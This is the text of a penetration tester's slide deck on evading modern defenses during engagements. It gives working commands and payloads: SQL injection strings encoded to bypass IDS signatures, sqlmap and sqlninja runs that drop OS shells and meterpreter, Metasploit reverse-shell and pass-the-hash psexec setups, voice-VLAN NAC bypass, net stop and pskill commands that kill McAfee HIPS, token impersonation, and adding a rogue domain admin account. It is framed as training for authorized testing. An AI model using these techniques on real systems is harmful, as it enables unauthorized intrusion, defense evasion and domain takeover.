SlideShare a Scribd company logo
You Spent All That Money
...And You Still Got Owned


                        Presented By:
                         Joe McCray

             joe@strategicsec.com
    http://www.linkedin.com/in/joemccray
          http://twitter.com/j0emccray


 Strategic Security, Inc. ©   http://www.strategicsec.com/
Joe McCray.... Who the heck are you?

A Network/Web Application Penetration Tester & Trainer


A.K.A:
The black guy at security conferences




                  Strategic Security, Inc. ©   http://www.strategicsec.com/
How I Throw Down...
• I HACK

• I CURSE

• I DRINK (Rum & Coke)


        Strategic Security, Inc. ©   http://www.strategicsec.com/
Let me take you back....




Strategic Security, Inc. ©   http://www.strategicsec.com/
Penetration Testing Was Easy....
Step 1: Tell customer you are 31337 security professional
Customers only applied patches if it fixed something on the system
It was common practice NOT to apply system updates that didn't fix a problem you were
experiencing on a system (WTF ARE YOU DOING - YOU MIGHT BREAK SOMETHING!!!!!)


Step 2: Scan customer network with ISS or Nessus if you were a renegade
Customers didn't apply patches, and rarely even had firewalls and IDSs back then
You know you only ran ISS because it had nice reports...


Step 3: Break out your uber 31337 warez and 0wn it all!!!!!
You only kept an exploit archive to save time (Hack.co.za was all you needed back then)
If you could read the screen you could 0wn the network!!!!!!!


                     Strategic Security, Inc. ©   http://www.strategicsec.com/
If you were Ub3r 31337 you did it like this....




          Strategic Security, Inc. ©   http://www.strategicsec.com/
Port Scan & Banner Grab The Target




     Strategic Security, Inc. ©   http://www.strategicsec.com/
Get your exploit code...




Strategic Security, Inc. ©   http://www.strategicsec.com/
Own the boxes and take screen-shots




      Strategic Security, Inc. ©   http://www.strategicsec.com/
Write The Report...




Strategic Security, Inc. ©   http://www.strategicsec.com/
Get Paid....




Strategic Security, Inc. ©   http://www.strategicsec.com/
Geez...That's A Lot To Bypass
More Security Measures are being implemented on company networks today
Firewalls are common place (perimeter and host-based)
Anti-Virus is smarter (removes popular hacker tools, and in some cases stops buffer overflows
Intrusion Detection/Prevention Systems are hard to detect let alone bypass
NAC Solutions are making their way into networks
Network/System Administrators are much more security conscious
IT Hardware/Software vendors are integrating security into their SDLC




.

                       Strategic Security, Inc. ©   http://www.strategicsec.com/
It’s harder now....so what do I do today?




        Strategic Security, Inc. ©   http://www.strategicsec.com/
Project Scope
• Project Scope
   –   Internal BlackBox (Limited Knowledge) Penetration Test
   –   External BlackBox (Limited Knowledge) Penetration Test
   –   Web Application Security Assessment
   –   Wireless Security Assessment
   –   Physical Security Assessment


• Project Limitations
   – Project was considered blackbox until Sampleblank consultants were
     detected by network team.
   – No social engineering or user interaction attacks were authorized

                 Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking sampleblank: The Play-By-Play
• Hmmm…what do we have here????
   – The following security/monitoring applications were discovered
      • McAfee Virus Shield
      • McAfee HIPS
      • Altiris
      • Big Brother


• Attack Steps:
   – Enumerate Network without scanning
   – Obtain valid privileged credentials



                Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking sampleblank: Domain Admin




      Strategic Security, Inc. ©   http://www.strategicsec.com/
I’m SWIFT BABY!!!!!




Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking sampleblank: The Play-By-Play




       Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking sampleblank: The Play-By-Play




       Strategic Security, Inc. ©   http://www.strategicsec.com/
Ask Google To Help
Google loves SQL Injection
 * site:targetcompany.com "Microsoft OLE DB Provider for SQL Server"
 * site:targetcompany.com "Microsoft JET Database Engine"
 * site:targetcompany.com "Type mismatch"
 * site:targetcompany.com "You have an error in your SQL syntax"
 * site:targetcompany.com "Invalid SQL statement or JDBC"
 * site:targetcompany.com "DorisDuke error"
 * site:targetcompany.com "OleDbException"
 * site:targetcompany.com "JasperException"
 * site:targetcompany.com "Fatal Error"
 * site:targetcompany.com "supplied argument is not a valid MySQL"
 * site:targetcompany.com "mysql_"
 * site:targetcompany.com ODBC
 * site:targetcompany.com JDBC
 * site:targetcompany.com ORA-00921
 * site:targetcompany.com ADODB

                    Strategic Security, Inc. ©   http://www.strategicsec.com/
Ask Google To Help

Google loves RFIs
    * site:targetcompany.com   ".php" "file="
    * site:targetcompany.com   ".php" "folder="
    * site:targetcompany.com   ".php" "path="
    * site:targetcompany.com   ".php" "style="
    * site:targetcompany.com   ".php" "template="
    * site:targetcompany.com   ".php" "PHP_PATH="
    * site:targetcompany.com   ".php" "doc="
    * site:targetcompany.com   ".php" "document="
    * site:targetcompany.com   ".php" "document_root="
    * site:targetcompany.com   ".php" "pg="
    * site:targetcompany.com   ".php" "pdf="




.                      Strategic Security, Inc. ©   http://www.strategicsec.com/
Do Passive Recon/OSINT
Act like a woman trying to catch her man cheating – look through EVEYTHING!

Firefox Passive Recon

     - https://addons.mozilla.org/en-US/firefox/addon/6196
                1. DNS – AS – Server Version Info
                2. Email addresses
                3. Files (Doc,PDF, etc)


Maltego (Data Relationship Identification)

     - http://www.paterva.com/web5/client/overview.php
               1. DNS – AS – Server Version Info
               2. Email addresses
               3. Files (Doc,PDF, etc)
               4. Social Media
               5. Too much to list here


                        Strategic Security, Inc. ©   http://www.strategicsec.com/
OSINT Report

What’s in the report
    * Company’s geographic location info
    * IP ranges owned by the company
    * IT Resources owned by the company
    * Email Addresses of people in the company
    * Important company files
    * Personal info about employees



Ask me offline and I can show you a report

.




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Load Balancers

Most load-balancers are deployed for redundancy and performance improvement

As an attacker – load balancers are a headache.

You have no idea where you packets are going....

There is absolutely no point in running tools against a host without knowing if a
load balancer has been deployed.

So –

Step 1 Determine if the host is load balanced....

Step 2 Determine what type of load balancing is in place (HTTP or DNS)




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Load Balancers
How can you tell if the target host is behind a load balancer?

Firefox LiveHTTP Headers

      - https://addons.mozilla.org/en-US/firefox/addon/3829
      - Look in HTTP header for modifications such as:
                 1. BIGipServerOS in cookie
                 2. nnCoection: close
                 3. Cneonction: close


dig
          * Look for multiple addresses resolving to one domain name
          * dig google.com




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Load Balancers
How can you tell if the target host is behind a load balancer?

Netcraft.com
           * Look for things like "F5 BigIP"




lbd.sh
          * http://ge.mine.nu/lbd.html
          * sh lbd-0.1.sh targetcompany.com

halberd
          * http://halberd.superadditive.com/
          * halberd -v targetcompany.com



                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Intrusion Prevention Systems

Ok – so now you've figured out if you are up against a load balancer.


You've figured out if it's HTTP or DNS based load balancing and what the real IP is.


Just like there's no point in running tools against a load balanced host there is no point
in running tools against a host that is protected by an IPS.


Sooooo...how can you tell if the target host protected an Intrusion Prevention System?




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Intrusion Prevention Systems
How can you tell if the target host protected an Intrusion Prevention System?

Curl: The netcat of the web app world

     http://curl.haxx.se/

curl -i http://www.targetcompany.com/../../WINNT/system32/cmd.exe?d

curl -i http://www.targetcompany.com/type+c:winntrepairsam._

Look for RSTs and no response....tcpdump/wireshark is your friend ;-)


Active Filter Detection

          - http://www.purehacking.com/afd/downloads.php

          - osstmm-afd -P HTTP -t targetcompany.com -v


                          Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Intrusion Prevention Systems

Ok, so you're up against an IPS – relax...there are a few other things to consider.



HINT:
Most IDS/IPS solutions don't monitor SSL encrypted (actually any encrypted) traffic.


SSL Accelerators are expensive so not everyone has one.




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Intrusion Prevention Systems

Most of the time you can get around an IPS by just using encryption.

The other thing to consider is whether the IPS is in-line or out of band.




                     Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Intrusion Prevention Systems
Does the IPS monitor SSL encrypted traffic?

     vi /etc/xinetd.d/ssltest

     #default: off
     #description: OpenSSL s_client proxy (just change the target url)
     service ssltest
     {
     disable = no
     socket_type = stream
     port = 8888
     wait = no
     protocol = tcp
     user = root
     server = /home/j0e/security/toolz/ssl_proxy.sh
     only_from = 127.0.0.1
     bind = 127.0.0.1
     }



                          Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Intrusion Prevention Systems
Does the IPS monitor SSL encrypted traffic? (Cont.)

     vi /home/j0e/security/toolz/ssl_proxy.sh

     #!/bin/bash

     openssl s_client -quiet -connect www.targetcompany.com:443 2>/dev/null


     Start the service

     /usr/sbin/xinetd -d -f /etc/xinetd.d/ssltest &


     Run AFD against localhost

     osstmm-afd -v -P HTTP -t localhost -p 8888 -v




                         Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking Through Tor

To run scanning tools through Tor


alias hide='su -c "/home/j0e/dumbscripts/hide.sh"'


$ cat /home/j0e/dumbscripts/hide.sh
#!/bin/bash


# Startup privoxy
/usr/sbin/privoxy /etc/privoxy/config


# Start Tor
/usr/bin/tor


$ hide
# socat TCP4-LISTEN:8080,fork SOCKS4:127.0.0.1:targetcompany.com80,socksport=9050


Now all attacks can be launched against 127.0.0.1:8080 with Nessus or similar tool.



                             Strategic Security, Inc. ©      http://www.strategicsec.com/
Attacking Through Proxies

To port scan through a series of proxies


# vi /etc/proxychains.conf
# tor &
# proxychains nmap -sT -p80 204.244.125.9




To port scan through Glype Proxies


$ cd /home/j0e/toolz/glypeahead-1.1
$ vi config.php
$ php glypeahead config.php




                             Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking Through Globally Distributed VPNs
Hundreds of companies offer VPN access all over the world - snail mail money order for payment ;)


      VyperVPN
      Kyptotel
      MadVPN
      VPNGate
      DenVPN
      ACEVPN
      ....too many to list




                              Strategic Security, Inc. ©    http://www.strategicsec.com/
Are We Forgetting Something????

What if you don't detect any active filtering solution in place?

Can you still be missing something that messing with your traffic?

What about a WAF?

Most hosts running a WAF will show as not have an Active Filtering Solution in place by
tools like AFD




                         Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?



     * https://addons.mozilla.org/en-US/firefox/addon/3829
           * Look in HTTP header for modifications such as:

               1. Cookie Value has WAF info in it
                    - BIGipServerwww.google.com_pool_http
                    - barra_counter_session
                    - WODSESSION

               2. Different server response code for hostile request
                     - 501 Method Not Implemented

               3. Different "Server" response when hostile packet is sent



                        Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Web Application Firewalls
WAFs are surprisingly easy to detect?

Generally you just have to send 1 valid request, and one malicious request and diff the response.


Malicious tends to be any HTTP request that has a payload that contains things like:




                 ' “<                     ?           #           - | ^*


                         Strategic Security, Inc. ©       http://www.strategicsec.com/
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?

Curl
curl -i http://targetcompany.com/cmd.exe | grep "501 Method"

Netcat
$ (echo "GET /cmd.exe HTTP/1.1"; echo "Host: targetcompany.com"; echo) | nc targetcompany.com | grep "501 Method Not Implemented"


If the server responds with error code “501 Method Not Implemented” then it is running mod_security.



Curl
curl -i http://www.targetcompany.com/%27
HTTP/1.1 999 No Hacking
Server: WWW Server/1.1




                                 Strategic Security, Inc. ©           http://www.strategicsec.com/
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?

Curl
curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c
%65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e

HTTP/1.1 200 Condition Intercepted
Date: Sun, 15 Mar 2009 01:42:01 GMT
Server: Apache




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Identifying Web Application Firewalls
How can you determine if the target host has deployed a WAF?

Waffit (WAFWOOF)




                    Strategic Security, Inc. ©   http://www.strategicsec.com/
Bypassing Web Application Firewalls
How can you determine if the target host has deployed a WAF?

Gary O'Leary-Steele
http://packetstormsecurity.org/web/unicode-fun.txt

[j0e@LinuxLaptop toolz]$ ruby unicode-fun.rb
Enter string to URL Unicode:<script>alert('XSS')</script>
%u003c%uff53%uff43%uff52%uff49%uff50%uff54%u003e%uff41%uff4c%uff45%uff52%uff
54%uff08%u02b9%uff38%uff33%uff33%u02b9%uff09%u003c%u2215%uff53%uff43%uff52
%uff49%uff50%uff54%u003e

Curl
curl -i http://www.targetcompany.com/3c%73%63%72%69%70%74%3e%61%6c
%65%72%74%28%27%58%53%53%27%29%3c%2f%73%63%72%69%70%74%3e
HTTP/1.1 404 Not Found
Date: Sat, 14 Mar 2009 19:13:10 GMT
Server: Apache

                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Attacking Websites Through Tor
alias hide='su -c "/home/j0e/dumbscripts/hide.sh"'


$ cat /home/j0e/dumbscripts/hide.sh
#!/bin/bash


# Startup privoxy
/usr/sbin/privoxy /etc/privoxy/config


# Start Tor
/usr/bin/tor


$ hide
Firefox Tor Button
              * https://addons.mozilla.org/en-US/firefox/addon/2275
              Click on Firefox TOR button and have fun hacking




                             Strategic Security, Inc. ©      http://www.strategicsec.com/
DotNet Defender WAF




Strategic Security, Inc. ©   http://www.strategicsec.com/
Bypassing DotNet Defender




 Strategic Security, Inc. ©   http://www.strategicsec.com/
Bypassing DotNet Defender




 Strategic Security, Inc. ©   http://www.strategicsec.com/
Dumping Admin PW – sorry DotNet Defender




       Strategic Security, Inc. ©   http://www.strategicsec.com/
Getting Into The LAN from the web....




      Strategic Security, Inc. ©   http://www.strategicsec.com/
SQL Injection to Metasploit (SQLNinja)
cd /home/beatdown/toolz/sqlninja-0.2.3/
vi sqlninja.beatdown.conf


       host = [target ip]
       page = /vuln/vulnpage.asp
       stringstart = VulnID=10;
       lhost = [your ip]
       device = eth0
       msfpath = /home/beatdown/toolz/metasploit
       resolvedip = [your ip]


./sqlninja -m t -f sqlninja.beatdown.conf       (test for injection)


./sqlninja -m f -f sqlninja.beatdown.conf       (fingerprint the backend db)


./sqlninja -m u -f sqlninja.beatdown.conf       (upload dnstun, netcat, or meterpreter)


./sqlninja -m s -f sqlninja.beatdown.conf       (drop a shell)



                              Strategic Security, Inc. ©          http://www.strategicsec.com/
SQL Injection to Metasploit (SQLMAP)
cd /home/beatdown/toolz/sqlmap-dev


python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-shell -v 1
os-shell>




python sqlmap.py -u "http://www.about2bowned.com/vuln/vulnpage.aspx?VulnID=10" --os-pwn --msf-path
       /home/beatdown/toolz/metasploit --priv-esc -v 10
meterpreter>




                            Strategic Security, Inc. ©    http://www.strategicsec.com/
Not Getting Caught




Strategic Security, Inc. ©   http://www.strategicsec.com/
Filter Evasion
I know that people often think this stuff is very black and white, cut and dry - but the
simple truth with sql injection is sometimes you just have a gut feeling that you are
looking at a vulnerable page.

You've tried a bunch of things but for some reason nothing seems to be working. You
may be facing some sort of filtering. Maybe the developer has attempted to stop sql
injection by only allowing alphanumeric characters as input.




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Client-Side Filtering

The first thing that we want to do is determine if the filtering is client-side (ex: being
done with javascript).

View source code and look for any parameters being passed to the website that
may be filtered with javascript/vbscript and remove them

      - Save the page locally and remove offending javascript/vbscript
                           or
      - Use a local proxy (ex: Paros, Webscarab, Burp Suite)




                       Strategic Security, Inc. ©   http://www.strategicsec.com/
Restrictive Blacklist
Server-side Alphanumeric Filter

http://[site]/page.asp?id=2 or 1 like 1

Here we are doing an “or true,” although this time we are using the “like”
comparison instead of the “=” sign. We can use this same technique for the other
variants such as “and 1 like 1” or “and 1 like 2”

http://[site]/page.asp?id=2 and 1 like 1
http://[site]/page.asp?id=2 and 1 like 2




                        Strategic Security, Inc. ©   http://www.strategicsec.com/
Signature Based IDS
The key to IDS/IPS evasion is knowing that there is one in place.

With an IPS you can use something like Active Filter Detection or you can try something
REALLY noisy from another IP address to see if your IP gets blocked.

Depending of the scope of your engagement you may or may not really be able to identify
when an IDS is in use because it's passive in nature.

I've honestly found this side of the house to be more proof-of-concept, and just having
fun as opposed to something I've actually needed on assessments.




                      Strategic Security, Inc. ©   http://www.strategicsec.com/
Strategic Security, Inc. ©   http://www.strategicsec.com/
Signature Based IDS (1)
Signature 1
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; content: “' or 1=1 --”; nocase; sid: 1; rev:1;)

Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2--
http://[site]/page.asp?id=2 or 1<2--
http://[site]/page.asp?id=2 or 1 like 1--
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2--
....c'mon everyone name some more

Signature Negatives
- Having the ' in the signature will cause you to miss attacks that don't utilize the '
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
If this signature is so easily bypassed, what is it actually good for?

Answer:
It's great for automated tools and kiddies

                          Strategic Security, Inc. ©   http://www.strategicsec.com/
Signature Based IDS (My Opinion)




    Strategic Security, Inc. ©   http://www.strategicsec.com/
Signature Based IDS (2)
Signature 2
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection attempt”;
flow: to_server, established; pcre: “/(and|or) 1=1 (--|/*|#)/i”; sid: 1; rev:2;)

Bypass Techniques:
http://[site]/page.asp?id=2 or 2=2%2D%2D
http://[site]/page.asp?id=2 or 1<2%2D%2D
http://[site]/page.asp?id=2 or 1 like 1%2D%2D
http://[site]/page.asp?id=2 /**/or /**/2/**/=/**/2%2D%2D
....c'mon everyone name some more

Signature Negatives
- 1=1 is not the only way to create a query that returns "true" (ex: 2=2, 1<2, etc)
- Comments like pretty much anything else can be represented in other encoding type
(ex: (%2D%2D = --)
- It is possible to attack an sql injection vulnerability without using comments
If this signature is so easily bypassed, what is it actually good for?

Answer:
Again, it's great for automated tools and kiddies
                        Strategic Security, Inc. ©   http://www.strategicsec.com/
Signature Based IDS (3 – 5)
Signature 3-5
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT
statement”; flow: to_server, established; pcre:”/select.*from.*(--|/*|#)/i”; sid: 2; rev: 1;)


alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection UNION
statement”; flow: to_server, established; pcre:”/union.*(--|/*|#)/i”; sid: 3; rev: 1;)


Bypass Techniques:
http://[site]/page.asp?id=2 or 2 in (%73%65%6C%65%63%74%20%75%73%65%72)%2D%2D
         http://[site]/page.asp?id=2 or 2 in (select user)--


http://[site]/page.asp?id=-2 %55%4E%49%4F%4E%20%41%4C%4C%20%73%65%6C%65%63%74%201,2,3,(%73%65%6C
%65%63%74%20%75%73%65%72),5,6,7%2D%2D
         http://[site]/page.asp?id=-2 UNION ALL select 1,2,3,(select user),5,6,7--
....c'mon everyone name some more

Signature Negatives
- Although sigs 3-5 are much better, they don't consider the attacker may use different encoding types such as hex



                                  Strategic Security, Inc. ©          http://www.strategicsec.com/
Signature Based IDS (6 – 7)
Signature 6
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server,
established; pcre:”/(s|%73)(e|%65)(l|%6C)(e|%65)(c|%63)(t|%74).*(f|%66)(r|%72)(o|%6F)(m|%6D).*(--|/*|#)/i”; sid: 2; rev2;)



Signature 7
alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: “SQL Injection SELECT statement”; flow: to_server,
established; pcre:”/(s|%73|%53)(e|%65|%45)(l|%6C|%4C)(e|%65|%45)(c|%63|%43)(t|%74|%45).*(f|%66|%46)(r|%72|%52)(o|
%6F|%4F)(m|%6D|%4D).*(--|/*|#)/i”; sid: 2; rev: 3;)


At least signature 7 takes into account case sensitivity with hex encoding.


But.....
There are always other encoding types that the attacker can use...




                                Strategic Security, Inc. ©        http://www.strategicsec.com/
Practice Your Kung Fu: PHPIDS




   Strategic Security, Inc. ©   http://www.strategicsec.com/
Practice Your Kung Fu: PHPIDS




   Strategic Security, Inc. ©   http://www.strategicsec.com/
Signature Based IDS
The real trick for each of these techniques is to understand that this is just like IDS
evasion in the service based exploitation side of the house.

You have to make sure that your attack actually works. It's easy to bypass an IDS, but
you can just as easily end up with your attack bypassing the IDS, but not working at all.

With this in mind you can mix/match the IDS evasion tricks - it's just a matter of
understanding the regex in use.

http://[site]/page.asp?id=2%20or%202%20in%20(/*IDS*/%73/*evasion*/%65/*is*/
%6C/*easy*/%65/*just*/%63/*ask*/%74/*j0e*/%20%75/*to*/%73/*teach*/%65/*you*/
%72/*how*/)%2D%2D

What is passed to the db
http://[site]/page.asp?id=2 or 2 in (select user)--
             in comments ("IDS evasion is easy just ask j0e to teach you how")


                      Strategic Security, Inc. ©   http://www.strategicsec.com/
Getting in via client-side

sudo ./msfconsole                Be sure to run as root so you can set the LPORT to 443


use exploit/[name of newest browser, PDF, ActiveX, or fileformat exploit]


set PAYLOAD windows/meterpreter/reverse_tcp


set ExitOnSession false


set LHOST [your public ip]


set LPORT 443


exploit -j




                             Strategic Security, Inc. ©       http://www.strategicsec.com/
SET is some next level shit
svn co http://svn.thepentest.com/social_engineering_toolkit/ SET/




                            Strategic Security, Inc. ©      http://www.strategicsec.com/
Pivoting into the LAN
Pivot Attack: Using a compromised host as a launching point to attack other hosts...
......set up standard exploit
exploit
route
        ctrl-z <-- background the session
back <--- you need to get to main msf> prompt


Now set up Pivot with a route add
route add 192.168.10.131 255.25.255.0 1 <-- Use correct session id
route print <----- verify
use exploit/windows/smb/ms08_067_dcom
set PAYLOAD windows/shell/bind_tcp
set RHOST 192.168.10.132
set LPORT 1234
        ctrl-z <-- background the session
back <--- you need to get to main msf> prompt


Run auxillaries & exploits through your pivot
use scanner/smb/version
set RHOSTS 192.168.10.1/24
run                           Strategic Security, Inc. ©      http://www.strategicsec.com/
Common LAN Security Solutions


Can’t get on the network?????


1.     NO DHCP – static IP addresses
2.     DHCP MAC Address reservations
3.     Port Security
4.     NAC solution




                           Strategic Security, Inc. ©   http://www.strategicsec.com/
Common LAN Security Solutions

Can’t get on the network?????


1.     NO DHCP – static IP addresses
     •      Steal valid IP address from host


2.     DHCP MAC Address reservations
     •      Steal valid MAC address


3.     Port Security
     •       Steal valid MAC/IP address


4.     NAC solution
     •      Look for 802.1x exceptions such as printers, VoIP phones




                           Strategic Security, Inc. ©     http://www.strategicsec.com/
Bypassing NAC Solutions
Can’t get on the network????? Jump into the voice VLAN


wget http://www.candelatech.com/~greear/vlan/vlan.1.9.tar.gz


tar -zxvf vlan.1.9.tar.gz


cd vlan


tshark -i eth0 -v -v "ether host 01:00:0c:cc:cc:cc and (ether[24:2] = 0x2000 or ether[20:2] = 0x2000)" | grep voice


vconfig add eth0 200                    # 200 is Voice VLAN ID in this example


ifconfig eth0.200                       # Verify new interface was created


dhcpd -d -t 10 eth0.200                 # Try to get dhcp


          or


Voiphopper                               voiphopper.sourceforge.net/
                              Strategic Security, Inc. ©      http://www.strategicsec.com/
Enumerating The Internal Network Against
                       NIPS/HIPS
c:set                                        Use SET to get domain information and username
c:net view                                   Use NET VIEW to get computers in the users domain and other domains
c:net view /domain                           Use NET VIEW to get computers in other domains
c:net user                                   Use NET USER to get local users on the computer you are on
c:net user /domain                           All users in the current user's domain
c:net localgroup                             Use NET LOCALGROUP to get the local groups on the computer
c:net localgroup /domain                     Use NET LOCALGROUP to get the domain groups
c:net localgroup administrators              All users in the local administrators group
c:net localgroup administrators /domain      All users in the domain administrators group
c:net group "Company Admins" /domain         All users in the "Company Admins" group
c:net user "joe.mccray" /domain              All info about this user
c:nltest /dclist:                            List Domain Controllers...



Basically browsing network neighborhood, and querying Active Directory will always be considered legitimate traffic
to an NIPS so you can use NET commands to enumerate a network without port scanning.


                            Strategic Security, Inc. ©      http://www.strategicsec.com/
Looking Around the Network For A User
Some commands to identify a logged in user


NBTSTAT -a remotecomputer | FIND "<03>" | FIND /I /V "remotecomputer"


WMIC /Node:remotecomputer ComputerSystem Get UserName


PSLOGGEDON -L remotecomputer

PSEXEC remotecomputer NET CONFIG WORKSTATION | FIND /I " name "


PSEXEC remotecomputer NET NAME


PSEXEC remotecomputer NETSH DIAG SHOW COMPUTER /V | FIND /i "username"




                           Strategic Security, Inc. ©    http://www.strategicsec.com/
Moving Around The Network
Smoking some MSF hash: Moving around the network using password hashes


use exploit/windows/smb/psexec


set RHOST 192.168.10.20


set SMBUser administrator

set SMBPass 01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537


set PAYLOAD windows/shell/reverse_tcp


set LHOST 192.168.10.10


exploit




                            Strategic Security, Inc. ©   http://www.strategicsec.com/
Killing The HIPS (as SYSTEM with “at” command)
1. Stop the overall AV Framework
       net stop "McAfee Framework Service"


2. Stop the HIPS
        net stop hips
        net stop enterceptagent
        net stop firepm


3. McAfee Processes
      pskill -t UdaterUI
      pskill -t TBMon
        pskill -t Mcshield
        pskill -t VsTskMgr
        pskill -t shstat


4. HIPS Processes
       pskill -t firetray


5. Unload the EPO HIPS DLL
        regsvr32 -u fireepo.dll
                              Strategic Security, Inc. ©   http://www.strategicsec.com/
Killing The HIPS (as SYSTEM with Metasploit)
1. Stop the overall AV Framework
       net stop "McAfee Framework Service"


2. Stop the HIPS
       net stop hips
        net stop enterceptagent
        net stop firepm


3. McAfee Processes
      pskill -t UdaterUI
      pskill -t TBMon
        pskill -t Mcshield
        pskill -t VsTskMgr
        pskill -t shstat


4. HIPS Processes
       pskill -t firetray


5. Unload the EPO HIPS DLL
        regsvr32 -u fireepo.dll

                              Strategic Security, Inc. ©   http://www.strategicsec.com/
Owning The Domain
Stealing a domain administrator's token....


meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> impersonate_token "domainuser"
meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token
       or
meterpreter > list_tokens -g
meterpreter > impersonate_token "DOMAINDomain Admins"
meterpreter> execute -c -H -f cmd -a "/k" -i -t <--- Use the -t to use your impersonated token


Add yourself to the Domain Admin's group
c:net user j0e j0eR0ck$ /domain /add
c:net localgroup administrators j0e /domain /add




                              Strategic Security, Inc. ©       http://www.strategicsec.com/
Holla @ Me....

Toll Free:        1-866-892-2132

Email:            joe@strategicsec.com

Twitter:          http://twitter.com/j0emccray

Slideshare:       http://www.slideshare.net/joemccray

LinkedIn:          http://www.linkedin.com/in/joemccray


              Strategic Security, Inc. ©   http://www.strategicsec.com/

More Related Content

PPTX
You Spent All That Money And Still Got Owned
PPTX
Wireless Pentesting: It's more than cracking WEP
PPTX
Big Bang Theory: The Evolution of Pentesting High Security Environments
PDF
Building a low cost hack lab
PPTX
So you wanna be a pentester - free webinar to show you how
PPTX
Getting ready for a Capture The Flag Hacking Competition
PDF
CMS Hacking Tricks - DerbyCon 4 - 2014
PDF
Wi-Fi Hotspot Attacks
You Spent All That Money And Still Got Owned
Wireless Pentesting: It's more than cracking WEP
